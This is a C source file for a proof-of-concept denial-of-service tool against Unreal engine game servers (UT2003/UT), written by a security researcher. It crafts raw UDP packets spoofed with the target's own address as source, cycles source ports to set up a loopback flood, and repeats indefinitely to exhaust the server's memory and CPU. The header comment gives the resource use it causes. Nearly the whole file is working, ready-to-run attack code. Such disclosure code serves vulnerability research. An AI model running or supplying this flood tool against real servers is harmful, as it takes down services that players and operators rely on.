/*

Unreal engine loopback DoS proof-of-concept
by Luigi Auriemma
e-mail: aluigi@autistici.org
web:    aluigi.org


Exist a packet "MAX number" because on a 100 Mbit LAN can be sent max 1
packet each 10 ms, and then I want to use the 7777 port for have the max
effect.

This proof-of-concept use UT2003 default parameters.
If you want to try it versus UT rember to change the TIMEOUT value in the
#define TIMEOUT


A little example of the resources eated by this attack:

System:    PII 448 Mhz
Packets:   1000
Ram eated: 17 Mb
CPU eated: 40%


LINUX version

*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <string.h>
#include <time.h>


#define VER        "0.1"
#define DELAY       0    /* or CLOCKS_PER_SEC / 100 for example */
#define TIMEOUT        200    /* UT2003 default timeout in seconds */
//#define TIMEOUT        150    /* UT default timeout in seconds */
#define RECOVER        150    /* entries cleaned in 1 second (about) */
#define PORT        7777
#define MAX        (65535 - dport)    /* we use the same UT2003 port so it will */
                /* start a loop to its same port!!! TURBO! */
#define IPSZ        sizeof(struct iphdr)
#define UDPSZ        sizeof(struct udphdr)
#define PSEUDOSZ    sizeof(struct pseudohdr)
#define SIZE        (IPSZ + UDPSZ)


u_short in_cksum(unsigned short *addr, int len);
u_int resolv(char *host);
void std_err(void);


struct pseudohdr {
    u_int32_t    saddr;
    u_int32_t    daddr;
    u_int8_t    zero;
    u_int8_t    protocol;
    u_int16_t    length;
} *pseudohdr;


int main(int argc, char *argv[]) {
    u_char    buff[SIZE],
        pseudobuff[PSEUDOSZ + UDPSZ];
    struct    sockaddr_in     peer;
    struct    iphdr    *iphdr;
    struct    udphdr    *udphdr;
    int    shandle,
        err,
        i,
        num;
    u_int32_t    source,
            dest;
    u_int16_t    dport = PORT;
    clock_t    start,
        stop,
        timeout,
        recover;    /* seconds to add for let the UT server to clean the
                    previous packets in timeout */


    setbuf(stdout, NULL);

    printf("\n" \
        "Unreal engine loopback DoS proof-of-concept %s\n" \
        "by Luigi Auriemma\n" \
        "e-mail: aluigi@autistici.org\n" \
        "web:    aluigi.org\n", VER);

    if(argc < 3) {
        printf("\nUsage: %s <UT_dest> <packets_num> [UT_port(%u)]\n", argv[0], PORT);
        exit(1);
    }

    dest   = resolv(argv[1]);
    source = dest;
    num    = atoi(argv[2]);
    if(!argv[3]) dport = PORT;
        else dport = atoi(argv[3]);
    if(num > MAX) {
        printf("\nWill be used %d packets\n", MAX);
        num = MAX;
    }
    recover = (num / RECOVER) + 1;

    printf("\n%s:(%u-%u) ---> ",
        inet_ntoa(*(struct in_addr *)&source),
        dport,
        num + dport);
    printf("%s:%u\n",
        inet_ntoa(*(struct in_addr *)&dest),
        dport);

    peer.sin_addr.s_addr = dest;
    peer.sin_port        = htons(dport);
    peer.sin_family      = AF_INET;

    iphdr     = (struct iphdr *)buff;
    udphdr    = (struct udphdr *)(buff + IPSZ);
    pseudohdr = (struct pseudohdr *)pseudobuff;

    /* build IP header */
    iphdr->ihl      = 5;
    iphdr->version  = 4;
    iphdr->tos      = 0x10;
    iphdr->tot_len  = SIZE;
    iphdr->id       = 1;
    iphdr->frag_off = 0;
    iphdr->ttl      = 128;
    iphdr->protocol = IPPROTO_UDP;
    iphdr->check    = 0;
    iphdr->saddr    = source;
    iphdr->daddr    = dest;

    /* build UDP header */
    udphdr->source = 0;
    udphdr->dest   = htons(dport);
    udphdr->check  = 0;
    udphdr->len    = htons(UDPSZ);

    /* create socket */
    shandle = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if(shandle < 0) std_err();

    while(1) {
        /* I use calendar time because clock() return 0 (???)
           and because I have directly the time in seconds */
        start = time(0);
        printf("\n");

        for(i = 0; i < num; i++) {

            /* we must change source port and recalculate checksum */
            udphdr->source = htons(i + dport);

            /* build pseudo header for calculate checksum (copy UDP header and data in it) */
            udphdr->check = 0;
            memcpy(pseudobuff + PSEUDOSZ, udphdr, UDPSZ);
            pseudohdr->saddr    = iphdr->saddr;
            pseudohdr->daddr    = iphdr->daddr;
            pseudohdr->zero     = 0;
            pseudohdr->protocol = IPPROTO_UDP;
            pseudohdr->length   = udphdr->len;
            udphdr->check = in_cksum((u_short *)pseudobuff, PSEUDOSZ + UDPSZ);


            /* send all */
            err = sendto(shandle, buff, SIZE, 0, (struct sockaddr *)&peer, sizeof(peer));
            if(err < 0) std_err();

            if((i % 50) == 0) printf(".");
            usleep(DELAY);
        }

        printf("\n");
        stop = time(0) - start;
        if(stop < TIMEOUT) timeout = (TIMEOUT - stop) + recover;
            else timeout = 0;
        for(; timeout > 0; timeout--) {
            printf("Wait %3u seconds\r", timeout);
            sleep(1);
        }
    }

    close(shandle);
    printf("\n");
    return(0);
}


u_short in_cksum(unsigned short *addr, int len) {
        int    sum = 0;
        u_short    answer = 0;
        register    u_short *w = addr;
        register int    nleft = len;

        while(nleft > 1)  {
                sum += *w++;
                nleft -= 2;
        }
        if(nleft == 1) {
                *(u_char *)(&answer) = *(u_char *)w ;
                sum += answer;
        }
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return(answer);
}


u_int resolv(char *host) {
    struct    hostent    *hp;
    u_int    host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(hp == 0) std_err();
        else host_ip = *(u_int *)(hp->h_addr);
    }

    return(host_ip);
}


void std_err(void) {
    perror("\nError");
    exit(1);
}
